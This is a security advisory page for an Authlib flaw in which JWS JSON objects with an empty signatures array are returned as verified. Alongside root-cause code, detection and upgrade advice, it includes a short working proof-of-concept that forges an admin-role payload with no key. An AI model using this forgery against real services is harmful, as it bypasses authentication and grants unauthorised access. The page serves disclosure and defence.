NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-96760: Authlib: empty signatures validation in JWS JSON deserialization

criticalCVSS 3.1 9.1GHSA-6v38-4h7w-rj9h

Authlib's `JsonWebSignature.deserialize_json()` returns the payload as verified when the JWS JSON object has an empty `signatures` array. No signature is checked and no key is used. An unauthenticated attacker can forge claims such as `role: admin`. Versions up to 1.8.0 are affected. Upgrade to 1.9.0.

Published Oct 27, 2026 · Analysis Oct 27, 2026

What an attacker can do

In authlib/jose/rfc7515/jws.py, the JSON deserializer sets is_valid = True before anything is checked. It only sets the flag to False from inside a loop over obj["signatures"]. When the array is empty, the loop never runs, the flag stays true and the code returns the payload as verified (CWE-347).

The reporter's test on 1.8.0 used {"payload": b64(payload), "signatures": []} with key=None, and it came back accepted. It was also accepted with the real key, so holding the correct key does not protect the caller. A genuine two-signature object verified, a tampered one failed, and a missing signatures member failed with DecodeError. That shows the bypass is specific to the empty array, so a service looks healthy under normal tests.

Any service that calls deserialize_json() on input it did not produce will accept an attacker-written payload as signed. Where that payload carries identity or authorization claims, the result is a complete authentication bypass for an unauthenticated remote caller with no key. Only the JSON serialization path is affected. The compact form most JWT code uses is a different method. The advisory notes joserfc rejects the same object.

Who is affected

The pip package authlib up to and including 1.8.0 is affected, if your code or a dependency calls JsonWebSignature.deserialize_json() on untrusted input. Code that uses only compact JWS and JWT decoding does not use that method.

Check the version:

pip show authlib

Search your code for the call:

grep -rn "deserialize_json" .

authlib

Ecosystem
PyPI
Affected
<= 1.8.0
Fixed in
1.9.0
Check
pip show authlib

How to fix it

Upgrade to authlib 1.9.0:

pip install --upgrade authlib==1.9.0

The suggested fix rejects an empty signatures array before the loop, for example is_valid = len(obj["signatures"]) > 0. Pull request 938 proposes this. The advisory lists no workaround. Until you upgrade, reject any JWS JSON object whose signatures array is empty before it reaches Authlib. The advisory also points to joserfc as the library Authlib's deprecation notice recommends.

How to tell if you were hit

Look in application logs and request captures for JWS JSON objects with "signatures": [] sent to endpoints that verify tokens. Check for sessions or API calls that carry elevated claims, like role: admin, without a matching token issued by your identity system.

Compare accepted token identifiers with your issuer's records. A token accepted with key=None or a payload that no signer produced is a sign of exploitation.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified

is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON Serialization object whose signatures array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

Reproduction

import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK   general JSON, signatures:[] , key=<real key>
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
    ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
    rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
    rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with BadSignatureError. The correct behaviour already exists in your newer library.

Impact

Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

What would fix it

In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938 proposes the same thing.

Credited to zer0d4y5, uziii2208, nguyenminhtuan28.

Questions

Does this Authlib bug affect normal JWT login?

Only code that calls JsonWebSignature.deserialize_json() is affected, the JWS JSON serialization. Compact JWS and JWT decoding use different methods. Check your code and dependencies for the call.

Does having the correct key protect me?

No. The reporter's test shows the empty signatures array is accepted with the real key too, because no signature is examined.

Which Authlib version fixes it?

1.9.0. Versions up to and including 1.8.0 are listed as vulnerable.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More PyPI vulnerabilities

All PyPI entries